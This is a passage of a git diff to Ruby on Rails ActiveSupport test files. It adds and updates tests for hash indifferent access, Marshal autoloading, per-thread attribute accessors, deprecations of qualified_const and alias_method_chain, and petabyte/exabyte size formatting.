{|k,v| true} @@ -568,6 +577,11 @@ class HashExtTest < ActiveSupport::TestCase assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash end + def test_indifferent_reject_returns_enumerator + enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject + assert_instance_of Enumerator, enum + end + def test_indifferent_reject_bang indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings) indifferent_strings.reject! {|k,v| v != 1} @@ -688,6 +702,12 @@ class HashExtTest < ActiveSupport::TestCase assert_equal h.class, h.dup.class end + def test_nested_dig_indifferent_access + skip if RUBY_VERSION < "2.3.0" + data = {"this" => {"views" => 1234}}.with_indifferent_access + assert_equal 1234, data.dig(:this, :views) + end + def test_assert_valid_keys assert_nothing_raised do { :failure => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ]) @@ -961,10 +981,11 @@ class HashExtTest < ActiveSupport::TestCase assert_raise(RuntimeError) { original.except!(:a) } end - def test_except_with_mocha_expectation_on_original + def test_except_does_not_delete_values_in_original original = { :a => 'x', :b => 'y' } - original.expects(:delete).never - original.except(:a) + assert_not_called(original, :delete) do + original.except(:a) + end end def test_compact @@ -998,6 +1019,55 @@ class HashExtTest < ActiveSupport::TestCase assert hash.key?('a') assert_equal 1, hash[:a] end + + def test_dup_with_default_proc + hash = HashWithIndifferentAccess.new + hash.default_proc = proc { |h, v| raise "walrus" } + assert_nothing_raised { hash.dup } + end + + def test_dup_with_default_proc_sets_proc + hash = HashWithIndifferentAccess.new + hash.default_proc = proc { |h, k| k + 1 } + new_hash = hash.dup + + assert_equal 3, new_hash[2] + + new_hash.default = 2 + assert_equal 2, new_hash[:non_existant] + end + + def test_to_hash_with_raising_default_proc + hash = HashWithIndifferentAccess.new + hash.default_proc = proc { |h, k| raise "walrus" } + + assert_nothing_raised { hash.to_hash } + end + + def test_new_from_hash_copying_default_should_not_raise_when_default_proc_does + hash = Hash.new + hash.default_proc = proc { |h, k| raise "walrus" } + + assert_deprecated { HashWithIndifferentAccess.new_from_hash_copying_default(hash) } + end + + def test_new_with_to_hash_conversion_copies_default + normal_hash = Hash.new(3) + normal_hash[:a] = 1 + + hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash)) + assert_equal 1, hash[:a] + assert_equal 3, hash[:b] + end + + def test_new_with_to_hash_conversion_copies_default_proc + normal_hash = Hash.new { 1 + 2 } + normal_hash[:a] = 1 + + hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash)) + assert_equal 1, hash[:a] + assert_equal 3, hash[:b] + end end class IWriteMyOwnXML @@ -1523,9 +1593,9 @@ class HashToXmlTest < ActiveSupport::TestCase assert_equal 3, hash_wia[:new_key] end - def test_should_use_default_proc_if_no_key_is_supplied + def test_should_return_nil_if_no_key_is_supplied hash_wia = HashWithIndifferentAccess.new { 1 + 2 } - assert_equal 3, hash_wia.default + assert_equal nil, hash_wia.default end def test_should_use_default_value_for_unknown_key @@ -1549,7 +1619,6 @@ class HashToXmlTest < ActiveSupport::TestCase assert_not_same hash_wia, hash_wia.with_indifferent_access end - def test_allows_setting_frozen_array_values_with_indifferent_access value = [1, 2, 3].freeze hash = HashWithIndifferentAccess.new diff --git a/activesupport/test/core_ext/marshal_test.rb b/activesupport/test/core_ext/marshal_test.rb index 8f3f710dfd..380f64c6fd 100644 --- a/activesupport/test/core_ext/marshal_test.rb +++ b/activesupport/test/core_ext/marshal_test.rb @@ -8,28 +8,33 @@ class MarshalTest < ActiveSupport::TestCase def teardown ActiveSupport::Dependencies.clear - remove_constants(:E, :ClassFolder) + remove_constants(:EM, :ClassFolder) end test "that Marshal#load still works" do sanity_data = ["test", [1, 2, 3], {a: [1, 2, 3]}, ActiveSupport::TestCase] sanity_data.each do |obj| dumped = Marshal.dump(obj) - assert_equal Marshal.load_without_autoloading(dumped), Marshal.load(dumped) + assert_equal Marshal.method(:load).super_method.call(dumped), Marshal.load(dumped) end end test "that a missing class is autoloaded from string" do dumped = nil with_autoloading_fixtures do - dumped = Marshal.dump(E.new) + dumped = Marshal.dump(EM.new) end - remove_constants(:E) + remove_constants(:EM) ActiveSupport::Dependencies.clear with_autoloading_fixtures do - assert_kind_of E, Marshal.load(dumped) + object = nil + assert_nothing_raised do + object = Marshal.load(dumped) + end + + assert_kind_of EM, object end end @@ -43,34 +48,50 @@ class MarshalTest < ActiveSupport::TestCase ActiveSupport::Dependencies.clear with_autoloading_fixtures do - assert_kind_of ClassFolder::ClassFolderSubclass, Marshal.load(dumped) + object = nil + assert_nothing_raised do + object = Marshal.load(dumped) + end + + assert_kind_of ClassFolder::ClassFolderSubclass, object end end test "that more than one missing class is autoloaded" do dumped = nil with_autoloading_fixtures do - dumped = Marshal.dump([E.new, ClassFolder.new]) + dumped = Marshal.dump([EM.new, ClassFolder.new]) end - remove_constants(:E, :ClassFolder) + remove_constants(:EM, :ClassFolder) ActiveSupport::Dependencies.clear with_autoloading_fixtures do loaded = Marshal.load(dumped) assert_equal 2, loaded.size - assert_kind_of E, loaded[0] + assert_kind_of EM, loaded[0] assert_kind_of ClassFolder, loaded[1] end end + test "when one constant resolves to another" do + class Parent; C = Class.new; end + class Child < Parent; C = Class.new; end + + dump = Marshal.dump(Child::C.new) + + Child.send(:remove_const, :C) + + assert_raise(ArgumentError) { Marshal.load(dump) } + end + test "that a real missing class is causing an exception" do dumped = nil with_autoloading_fixtures do - dumped = Marshal.dump(E.new) + dumped = Marshal.dump(EM.new) end - remove_constants(:E) + remove_constants(:EM) ActiveSupport::Dependencies.clear assert_raise(NameError) do @@ -84,10 +105,10 @@ class MarshalTest < ActiveSupport::TestCase end with_autoloading_fixtures do - dumped = Marshal.dump([E.new, SomeClass.new]) + dumped = Marshal.dump([EM.new, SomeClass.new]) end - remove_constants(:E) + remove_constants(:EM) self.class.send(:remove_const, :SomeClass) ActiveSupport::Dependencies.clear @@ -96,8 +117,8 @@ class MarshalTest < ActiveSupport::TestCase Marshal.load(dumped) end - assert_nothing_raised("E failed to load while we expect only SomeClass to fail loading") do - E.new + assert_nothing_raised do + EM.new end assert_raise(NameError, "We expected SomeClass to not be loaded but it is!") do @@ -109,16 +130,21 @@ class MarshalTest < ActiveSupport::TestCase test "loading classes from files trigger autoloading" do Tempfile.open("object_serializer_test") do |f| with_autoloading_fixtures do - Marshal.dump(E.new, f) + Marshal.dump(EM.new, f) end f.rewind - remove_constants(:E) + remove_constants(:EM) ActiveSupport::Dependencies.clear with_autoloading_fixtures do - assert_kind_of E, Marshal.load(f) + object = nil + assert_nothing_raised do + object = Marshal.load(f) + end + + assert_kind_of EM, object end end end -end
\ No newline at end of file +end diff --git a/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb b/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb new file mode 100644 index 0000000000..a9fd878b80 --- /dev/null +++ b/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb @@ -0,0 +1,115 @@ +require 'abstract_unit' +require 'active_support/core_ext/module/attribute_accessors_per_thread' + +class ModuleAttributeAccessorPerThreadTest < ActiveSupport::TestCase + def setup + @class = Class.new do + thread_mattr_accessor :foo + thread_mattr_accessor :bar, instance_writer: false + thread_mattr_reader :shaq, instance_reader: false + thread_mattr_accessor :camp, instance_accessor: false + end + + @object = @class.new + end + + def test_should_use_mattr_default + Thread.new do + assert_nil @class.foo + assert_nil @object.foo + end.join + end + + def test_should_set_mattr_value + Thread.new do + @class.foo = :test + assert_equal :test, @class.foo + + @class.foo = :test2 + assert_equal :test2, @class.foo + end.join + end + + def test_should_not_create_instance_writer + Thread.new do + assert_respond_to @class, :foo + assert_respond_to @class, :foo= + assert_respond_to @object, :bar + assert !@object.respond_to?(:bar=) + end.join + end + + def test_should_not_create_instance_reader + Thread.new do + assert_respond_to @class, :shaq + assert !@object.respond_to?(:shaq) + end.join + end + + def test_should_not_create_instance_accessors + Thread.new do + assert_respond_to @class, :camp + assert !@object.respond_to?(:camp) + assert !@object.respond_to?(:camp=) + end.join + end + + def test_values_should_not_bleed_between_threads + threads = [] + threads << Thread.new do + @class.foo = 'things' + sleep 1 + assert_equal 'things', @class.foo + end + + threads << Thread.new do + @class.foo = 'other things' + sleep 1 + assert_equal 'other things', @class.foo + end + + threads << Thread.new do + @class.foo = 'really other things' + sleep 1 + assert_equal 'really other things', @class.foo + end + + threads.each { |t| t.join } + end + + def test_should_raise_name_error_if_attribute_name_is_invalid + exception = assert_raises NameError do + Class.new do + thread_cattr_reader "1nvalid" + end + end + assert_equal "invalid attribute name: 1nvalid", exception.message + + exception = assert_raises NameError do + Class.new do + thread_cattr_writer "1nvalid" + end + end + assert_equal "invalid attribute name: 1nvalid", exception.message + + exception = assert_raises NameError do + Class.new do + thread_mattr_reader "1valid_part" + end + end + assert_equal "invalid attribute name: 1valid_part", exception.message + + exception = assert_raises NameError do + Class.new do + thread_mattr_writer "2valid_part" + end + end + assert_equal "invalid attribute name: 2valid_part", exception.message + end + + def test_should_return_same_value_by_class_or_instance_accessor + @class.foo = 'fries' + + assert_equal @class.foo, @object.foo + end +end diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb index 48f3cc579f..0b0f3a2808 100644 --- a/activesupport/test/core_ext/module/attribute_accessor_test.rb +++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb @@ -69,6 +69,20 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase end end assert_equal "invalid attribute name: 1nvalid", exception.message + + exception = assert_raises NameError do + Class.new do + mattr_reader "valid_part\ninvalid_part" + end + end + assert_equal "invalid attribute name: valid_part\ninvalid_part", exception.message + + exception = assert_raises NameError do + Class.new do + mattr_writer "valid_part\ninvalid_part" + end + end + assert_equal "invalid attribute name: valid_part\ninvalid_part", exception.message end def test_should_use_default_value_if_block_passed @@ -76,4 +90,10 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase assert_equal 'default_reader_value', @module.defr assert_equal 'default_writer_value', @module.class_variable_get('@@defw') end + + def test_should_not_invoke_default_value_block_multiple_times + count = 0 + @module.cattr_accessor(:defcount){ count += 1 } + assert_equal 1, count + end end diff --git a/activesupport/test/core_ext/module/qualified_const_test.rb b/activesupport/test/core_ext/module/qualified_const_test.rb index 37c9228a64..a3146cabe1 100644 --- a/activesupport/test/core_ext/module/qualified_const_test.rb +++ b/activesupport/test/core_ext/module/qualified_const_test.rb @@ -19,84 +19,94 @@ end class QualifiedConstTest < ActiveSupport::TestCase test "Object.qualified_const_defined?" do - assert Object.qualified_const_defined?("QualifiedConstTestMod") - assert !Object.qualified_const_defined?("NonExistingQualifiedConstTestMod") - - assert Object.qualified_const_defined?("QualifiedConstTestMod::X") - assert !Object.qualified_const_defined?("QualifiedConstTestMod::Y") - - assert Object.qualified_const_defined?("QualifiedConstTestMod::M::X") - assert !Object.qualified_const_defined?("QualifiedConstTestMod::M::Y") - - if Module.method(:const_defined?).arity == 1 - assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X") - else - assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X") - assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X", false) - assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X", true) + assert_deprecated do + assert Object.qualified_const_defined?("QualifiedConstTestMod") + assert !Object.qualified_const_defined?("NonExistingQualifiedConstTestMod") + + assert Object.qualified_const_defined?("QualifiedConstTestMod::X") + assert !Object.qualified_const_defined?("QualifiedConstTestMod::Y") + + assert Object.qualified_const_defined?("QualifiedConstTestMod::M::X") + assert !Object.qualified_const_defined?("QualifiedConstTestMod::M::Y") + + if Module.method(:const_defined?).arity == 1 + assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X") + else + assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X") + assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X", false) + assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X", true) + end end end test "mod.qualified_const_defined?" do - assert QualifiedConstTestMod.qualified_const_defined?("M") - assert !QualifiedConstTestMod.qualified_const_defined?("NonExistingM") - - assert QualifiedConstTestMod.qualified_const_defined?("M::X") - assert !QualifiedConstTestMod.qualified_const_defined?("M::Y") - - assert QualifiedConstTestMod.qualified_const_defined?("M::C::X") - assert !QualifiedConstTestMod.qualified_const_defined?("M::C::Y") - - if Module.method(:const_defined?).arity == 1 - assert !QualifiedConstTestMod.qualified_const_defined?("QualifiedConstTestMod::N::X") - else - assert QualifiedConstTestMod.qualified_const_defined?("N::X") - assert !QualifiedConstTestMod.qualified_const_defined?("N::X", false) - assert QualifiedConstTestMod.qualified_const_defined?("N::X", true) + assert_deprecated do + assert QualifiedConstTestMod.qualified_const_defined?("M") + assert !QualifiedConstTestMod.qualified_const_defined?("NonExistingM") + + assert QualifiedConstTestMod.qualified_const_defined?("M::X") + assert !QualifiedConstTestMod.qualified_const_defined?("M::Y") + + assert QualifiedConstTestMod.qualified_const_defined?("M::C::X") + assert !QualifiedConstTestMod.qualified_const_defined?("M::C::Y") + + if Module.method(:const_defined?).arity == 1 + assert !QualifiedConstTestMod.qualified_const_defined?("QualifiedConstTestMod::N::X") + else + assert QualifiedConstTestMod.qualified_const_defined?("N::X") + assert !QualifiedConstTestMod.qualified_const_defined?("N::X", false) + assert QualifiedConstTestMod.qualified_const_defined?("N::X", true) + end end end test "qualified_const_get" do - assert_equal false, Object.qualified_const_get("QualifiedConstTestMod::X") - assert_equal false, QualifiedConstTestMod.qualified_const_get("X") - assert_equal 1, QualifiedConstTestMod.qualified_const_get("M::X") - assert_equal 1, QualifiedConstTestMod.qualified_const_get("N::X") - assert_equal 2, QualifiedConstTestMod.qualified_const_get("M::C::X") - - assert_raise(NameError) { QualifiedConstTestMod.qualified_const_get("M::C::Y")} + assert_deprecated do + assert_equal false, Object.qualified_const_get("QualifiedConstTestMod::X") + assert_equal false, QualifiedConstTestMod.qualified_const_get("X") + assert_equal 1, QualifiedConstTestMod.qualified_const_get("M::X") + assert_equal 1, QualifiedConstTestMod.qualified_const_get("N::X") + assert_equal 2, QualifiedConstTestMod.qualified_const_get("M::C::X") + + assert_raise(NameError) { QualifiedConstTestMod.qualified_const_get("M::C::Y")} + end end test "qualified_const_set" do - begin - m = Module.new - assert_equal m, Object.qualified_const_set("QualifiedConstTestMod2", m) - assert_equal m, ::QualifiedConstTestMod2 - - # We are going to assign to existing constants on purpose, so silence warnings. - silence_warnings do - assert_equal true, QualifiedConstTestMod.qualified_const_set("QualifiedConstTestMod::X", true) - assert_equal true, QualifiedConstTestMod::X - - assert_equal 10, QualifiedConstTestMod::M.qualified_const_set("X", 10) - assert_equal 10, QualifiedConstTestMod::M::X - end - ensure - silence_warnings do - QualifiedConstTestMod.qualified_const_set('QualifiedConstTestMod::X', false) - QualifiedConstTestMod::M.qualified_const_set('X', 1) + assert_deprecated do + begin + m = Module.new + assert_equal m, Object.qualified_const_set("QualifiedConstTestMod2", m) + assert_equal m, ::QualifiedConstTestMod2 + + # We are going to assign to existing constants on purpose, so silence warnings. + silence_warnings do + assert_equal true, QualifiedConstTestMod.qualified_const_set("QualifiedConstTestMod::X", true) + assert_equal true, QualifiedConstTestMod::X + + assert_equal 10, QualifiedConstTestMod::M.qualified_const_set("X", 10) + assert_equal 10, QualifiedConstTestMod::M::X + end + ensure + silence_warnings do + QualifiedConstTestMod.qualified_const_set('QualifiedConstTestMod::X', false) + QualifiedConstTestMod::M.qualified_const_set('X', 1) + end end end end test "reject absolute paths" do - assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X")} - assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X::Y")} + assert_deprecated do + assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X")} + assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X::Y")} - assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X")} - assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X::Y")} + assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X")} + assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X::Y")} - assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X", nil)} - assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X::Y", nil)} + assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X", nil)} + assert_raise_with_message(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X::Y", nil)} + end end private diff --git a/activesupport/test/core_ext/module/remove_method_test.rb b/activesupport/test/core_ext/module/remove_method_test.rb index 4657f0c175..0d684dc70e 100644 --- a/activesupport/test/core_ext/module/remove_method_test.rb +++ b/activesupport/test/core_ext/module/remove_method_test.rb @@ -6,24 +6,54 @@ module RemoveMethodTests def do_something return 1 end - + + def do_something_protected + return 1 + end + protected :do_something_protected + + def do_something_private + return 1 + end + private :do_something_private + + class << self + def do_something_else + return 2 + end + end end end class RemoveMethodTest < ActiveSupport::TestCase - + def test_remove_method_from_an_object RemoveMethodTests::A.class_eval{ self.remove_possible_method(:do_something) } assert !RemoveMethodTests::A.new.respond_to?(:do_something) end - + + def test_remove_singleton_method_from_an_object + RemoveMethodTests::A.class_eval{ + self.remove_possible_singleton_method(:do_something_else) + } + assert !RemoveMethodTests::A.respond_to?(:do_something_else) + end + def test_redefine_method_in_an_object RemoveMethodTests::A.class_eval{ self.redefine_method(:do_something) { return 100 } + self.redefine_method(:do_something_protected) { return 100 } + self.redefine_method(:do_something_private) { return 100 } } assert_equal 100, RemoveMethodTests::A.new.do_something + assert_equal 100, RemoveMethodTests::A.new.send(:do_something_protected) + assert_equal 100, RemoveMethodTests::A.new.send(:do_something_private) + + assert RemoveMethodTests::A.public_method_defined? :do_something + assert RemoveMethodTests::A.protected_method_defined? :do_something_protected + assert RemoveMethodTests::A.private_method_defined? :do_something_private end -end
\ No newline at end of file +end diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb index c9c9b66a6c..ae4aed0554 100644 --- a/activesupport/test/core_ext/module_test.rb +++ b/activesupport/test/core_ext/module_test.rb @@ -83,6 +83,16 @@ Product = Struct.new(:name) do end end +class Block + def hello? + true + end +end + +HasBlock = Struct.new(:block) do + delegate :hello?, to: :block +end + class ParameterSet delegate :[], :[]=, :to => :@params @@ -301,6 +311,11 @@ class ModuleTest < ActiveSupport::TestCase assert_raise(NoMethodError) { product.type_name } end + def test_delegation_with_method_arguments + has_block = HasBlock.new(Block.new) + assert has_block.hello? + end + def test_parent assert_equal Yz::Zy, Yz::Zy::Cd.parent assert_equal Yz, Yz::Zy.parent @@ -313,7 +328,13 @@ class ModuleTest < ActiveSupport::TestCase end def test_local_constants - assert_equal %w(Constant1 Constant3), Ab.local_constants.sort.map(&:to_s) + ActiveSupport::Deprecation.silence do + assert_equal %w(Constant1 Constant3), Ab.local_constants.sort.map(&:to_s) + end + end + + def test_local_constants_is_deprecated + assert_deprecated { Ab.local_constants.sort.map(&:to_s) } end end @@ -358,148 +379,178 @@ class MethodAliasingTest < ActiveSupport::TestCase Object.instance_eval { remove_const :FooClassWithBarMethod } end - def test_alias_method_chain - assert @instance.respond_to?(:bar) - feature_aliases = [:bar_with_baz, :bar_without_baz] + def test_alias_method_chain_deprecated + assert_deprecated(/alias_method_chain/) do + Module.new do + def base + end + + def base_with_deprecated + end - feature_aliases.each do |method| - assert !@instance.respond_to?(method) + alias_method_chain :base, :deprecated + end end + end - assert_equal 'bar', @instance.bar + def test_alias_method_chain + assert_deprecated(/alias_method_chain/) do + assert @instance.respond_to?(:bar) + feature_aliases = [:bar_with_baz, :bar_without_baz] - FooClassWithBarMethod.class_eval { include BarMethodAliaser } + feature_aliases.each do |method| + assert !@instance.respond_to?(method) + end - feature_aliases.each do |method| - assert_respond_to @instance, method - end + assert_equal 'bar', @instance.bar + + FooClassWithBarMethod.class_eval { include BarMethodAliaser } - assert_equal 'bar_with_baz', @instance.bar - assert_equal 'bar', @instance.bar_without_baz + feature_aliases.each do |method| + assert_respond_to @instance, method + end + + assert_equal 'bar_with_baz', @instance.bar + assert_equal 'bar', @instance.bar_without_baz + end end def test_alias_method_chain_with_punctuation_method - FooClassWithBarMethod.class_eval do - def quux!; 'quux' end - end + assert_deprecated(/alias_method_chain/) do + FooClassWithBarMethod.class_eval do + def quux!; 'quux' end + end - assert !@instance.respond_to?(:quux_with_baz!) - FooClassWithBarMethod.class_eval do - include BarMethodAliaser - alias_method_chain :quux!, :baz - end - assert_respond_to @instance, :quux_with_baz! + assert !@instance.respond_to?(:quux_with_baz!) + FooClassWithBarMethod.class_eval do + include BarMethodAliaser + alias_method_chain :quux!, :baz + end + assert_respond_to @instance, :quux_with_baz! - assert_equal 'quux_with_baz', @instance.quux! - assert_equal 'quux', @instance.quux_without_baz! + assert_equal 'quux_with_baz', @instance.quux! + assert_equal 'quux', @instance.quux_without_baz! + end end def test_alias_method_chain_with_same_names_between_predicates_and_bang_methods - FooClassWithBarMethod.class_eval do - def quux!; 'quux!' end - def quux?; true end - def quux=(v); 'quux=' end - end + assert_deprecated(/alias_method_chain/) do + FooClassWithBarMethod.class_eval do + def quux!; 'quux!' end + def quux?; true end + def quux=(v); 'quux=' end + end - assert !@instance.respond_to?(:quux_with_baz!) - assert !@instance.respond_to?(:quux_with_baz?) - assert !@instance.respond_to?(:quux_with_baz=) + assert !@instance.respond_to?(:quux_with_baz!) + assert !@instance.respond_to?(:quux_with_baz?) + assert !@instance.respond_to?(:quux_with_baz=) - FooClassWithBarMethod.class_eval { include BarMethodAliaser } - assert_respond_to @instance, :quux_with_baz! - assert_respond_to @instance, :quux_with_baz? - assert_respond_to @instance, :quux_with_baz= + FooClassWithBarMethod.class_eval { include BarMethodAliaser } + assert_respond_to @instance, :quux_with_baz! + assert_respond_to @instance, :quux_with_baz? + assert_respond_to @instance, :quux_with_baz= - FooClassWithBarMethod.alias_method_chain :quux!, :baz - assert_equal 'quux!_with_baz', @instance.quux! - assert_equal 'quux!', @instance.quux_without_baz! + FooClassWithBarMethod.alias_method_chain :quux!, :baz + assert_equal 'quux!_with_baz', @instance.quux! + assert_equal 'quux!', @instance.quux_without_baz! - FooClassWithBarMethod.alias_method_chain :quux?, :baz - assert_equal false, @instance.quux? - assert_equal true, @instance.quux_without_baz? + FooClassWithBarMethod.alias_method_chain :quux?, :baz + assert_equal false, @instance.quux? + assert_equal true, @instance.quux_without_baz? - FooClassWithBarMethod.alias_method_chain :quux=, :baz - assert_equal 'quux=_with_baz', @instance.send(:quux=, 1234) - assert_equal 'quux=', @instance.send(:quux_without_baz=, 1234) + FooClassWithBarMethod.alias_method_chain :quux=, :baz + assert_equal 'quux=_with_baz', @instance.send(:quux=, 1234) + assert_equal 'quux=', @instance.send(:quux_without_baz=, 1234) + end end def test_alias_method_chain_with_feature_punctuation - FooClassWithBarMethod.class_eval do - def quux; 'quux' end - def quux?; 'quux?' end - include BarMethodAliaser - alias_method_chain :quux, :baz! - end + assert_deprecated(/alias_method_chain/) do + FooClassWithBarMethod.class_eval do + def quux; 'quux' end + def quux?; 'quux?' end + include BarMethodAliaser + alias_method_chain :quux, :baz! + end - assert_nothing_raised do - assert_equal 'quux_with_baz', @instance.quux_with_baz! - end + assert_nothing_raised do + assert_equal 'quux_with_baz', @instance.quux_with_baz! + end - assert_raise(NameError) do - FooClassWithBarMethod.alias_method_chain :quux?, :baz! + assert_raise(NameError) do + FooClassWithBarMethod.alias_method_chain :quux?, :baz! + end end end def test_alias_method_chain_yields_target_and_punctuation - args = nil + assert_deprecated(/alias_method_chain/) do + args = nil - FooClassWithBarMethod.class_eval do - def quux?; end - include BarMethods + FooClassWithBarMethod.class_eval do + def quux?; end + include BarMethods - FooClassWithBarMethod.alias_method_chain :quux?, :baz do |target, punctuation| - args = [target, punctuation] + FooClassWithBarMethod.alias_method_chain :quux?, :baz do |target, punctuation| + args = [target, punctuation] + end end - end - assert_not_nil args - assert_equal 'quux', args[0] - assert_equal '?', args[1] + assert_not_nil args + assert_equal 'quux', args[0] + assert_equal '?', args[1] + end end def test_alias_method_chain_preserves_private_method_status - FooClassWithBarMethod.class_eval do - def duck; 'duck' end - include BarMethodAliaser - private :duck - alias_method_chain :duck, :orange - end + assert_deprecated(/alias_method_chain/) do + FooClassWithBarMethod.class_eval do + def duck; 'duck' end + include BarMethodAliaser + private :duck + alias_method_chain :duck, :orange + end - assert_raise NoMethodError do - @instance.duck - end + assert_raise NoMethodError do + @instance.duck + end - assert_equal 'duck_with_orange', @instance.instance_eval { duck } - assert FooClassWithBarMethod.private_method_defined?(:duck) + assert_equal 'duck_with_orange', @instance.instance_eval { duck } + assert FooClassWithBarMethod.private_method_defined?(:duck) + end end def test_alias_method_chain_preserves_protected_method_status - FooClassWithBarMethod.class_eval do - def duck; 'duck' end - include BarMethodAliaser - protected :duck - alias_method_chain :duck, :orange - end + assert_deprecated(/alias_method_chain/) do + FooClassWithBarMethod.class_eval do + def duck; 'duck' end + include BarMethodAliaser + protected :duck + alias_method_chain :duck, :orange + end - assert_raise NoMethodError do - @instance.duck - end + assert_raise NoMethodError do + @instance.duck + end - assert_equal 'duck_with_orange', @instance.instance_eval { duck } - assert FooClassWithBarMethod.protected_method_defined?(:duck) + assert_equal 'duck_with_orange', @instance.instance_eval { duck } + assert FooClassWithBarMethod.protected_method_defined?(:duck) + end end def test_alias_method_chain_preserves_public_method_status - FooClassWithBarMethod.class_eval do - def duck; 'duck' end - include BarMethodAliaser - public :duck - alias_method_chain :duck, :orange - end + assert_deprecated(/alias_method_chain/) do + FooClassWithBarMethod.class_eval do + def duck; 'duck' end + include BarMethodAliaser + public :duck + alias_method_chain :duck, :orange + end - assert_equal 'duck_with_orange', @instance.duck - assert FooClassWithBarMethod.public_method_defined?(:duck) + assert_equal 'duck_with_orange', @instance.duck + assert FooClassWithBarMethod.public_method_defined?(:duck) + end end def test_delegate_with_case diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb index b82448458d..5654aeb4f8 100644 --- a/activesupport/test/core_ext/numeric_ext_test.rb +++ b/activesupport/test/core_ext/numeric_ext_test.rb @@ -143,6 +143,14 @@ class NumericExtFormattingTest < ActiveSupport::TestCase gigabytes(number) * 1024 end + def petabytes(number) + terabytes(number) * 1024 + end + + def exabytes(number) + petabytes(number) * 1024 + end + def test_to_s__phone assert_equal("555-1234", 5551234.to_s(:phone)) assert_equal("800-555-1212", 8005551212.to_s(:phone)) @@ -266,7 +274,9 @@ class NumericExtFormattingTest < ActiveSupport::TestCase assert_equal '1.18 MB', 1234567.to_s(:human_size) assert_equal '1.15 GB', 1234567890.to_s(:human_size) assert_equal '1.12 TB', 1234567890123.to_s(:human_size) - assert_equal '1030 TB', terabytes(1026).to_s(:human_size) + assert_equal '1.1 PB', 1234567890123456.to_s(:human_size) + assert_equal '1.07 EB', 1234567890123456789.to_s(:human_size) + assert_equal '1030 EB', exabytes(1026).to_s(:human_size) assert_equal '444 KB', kilobytes(444).to_s(:human_size) assert_equal '1020 MB', megabytes(1023).to_s(:human_size) assert_equal '3 TB', terabytes(3).to_s(:human_size) @@ -280,14 +290,18 @@ class NumericExtFormattingTest < ActiveSupport::TestCase end def test_to_s__human_size_with_si_prefix - assert_equal '3 Bytes', 3.14159265.to_s(:human_size, :prefix => :si) - assert_equal '123 Bytes', 123.0.to_s(:human_size, :prefix => :si) - assert_equal '123 Bytes', 123.to_s(:human_size, :prefix => :si) - assert_equal '1.23 KB', 1234.to_s(:human_size, :prefix => :si) - assert_equal '12.3 KB', 12345.to_s(:human_size, :prefix => :si) - assert_equal '1.23 MB', 1234567.to_s(:human_size, :prefix => :si) - assert_equal '1.23 GB', 1234567890.to_s(:human_size, :prefix => :si) - assert_equal '1.23 TB', 1234567890123.to_s(:human_size, :prefix => :si) + assert_deprecated do + assert_equal '3 Bytes', 3.14159265.to_s(:human_size, :prefix => :si) + assert_equal '123 Bytes', 123.0.to_s(:human_size, :prefix => :si) + assert_equal '123 Bytes', 123.to_s(:human_size, :prefix => :si) + assert_equal '1.23 KB', 1234.to_s(:human_size, :prefix => :si) + assert_equal '12.3 KB', 12345.to_s(:human_size, :prefix => :si) + assert_equal '1.23 MB', 1234567.to_s(:human_size, :prefix => :si) + assert_equal '1.23 GB', 1234567890.to_s(:human_size, :prefix => :si) + assert_equal '1.23 TB', 1234567890123.to_s(:human_size, :prefix => :si) + assert_equal '1.23 PB', 1234567890123456.to_s(:human_size, :prefix => :si) + assert_equal '1.23 EB', 1234567890123456789.to_s(:human_size, :prefix => :si) + end end def test_to_s__human_size_with_options_hash @@ -386,7 +400,117 @@ class NumericExtFormattingTest < ActiveSupport::TestCase assert_equal '1 Million', BigDecimal("1000010").to_s(:human) end + def test_to_formatted_s_is_deprecated + assert_deprecated do + 5551234.to_formatted_s(:phone) + end + end + + def test_to_s_with_invalid_formatter + assert_equal '123', 123.to_s(:invalid) + assert_equal '2.5', 2.5.to_s(:invalid) + assert_equal '100000000000000000000', (100**10).to_s(:invalid) + assert_equal '1000010.0', BigDecimal("1000010").to_s(:invalid) + end + + def test_default_to_s + assert_equal '123', 123.to_s + assert_equal '1111011', 123.to_s(2) + + assert_equal '2.5', 2.5.to_s + + assert_equal '100000000000000000000', (100**10).to_s + assert_equal '1010110101111000111010111100010110101100011000100000000000000000000', (100**10).to_s(2) + + assert_equal '1000010.0', BigDecimal("1000010").to_s + assert_equal '10000 10.0', BigDecimal("1000010").to_s('5F') + end + def test_in_milliseconds assert_equal 10_000, 10.seconds.in_milliseconds end + + # TODO: Remove positive and negative tests when we 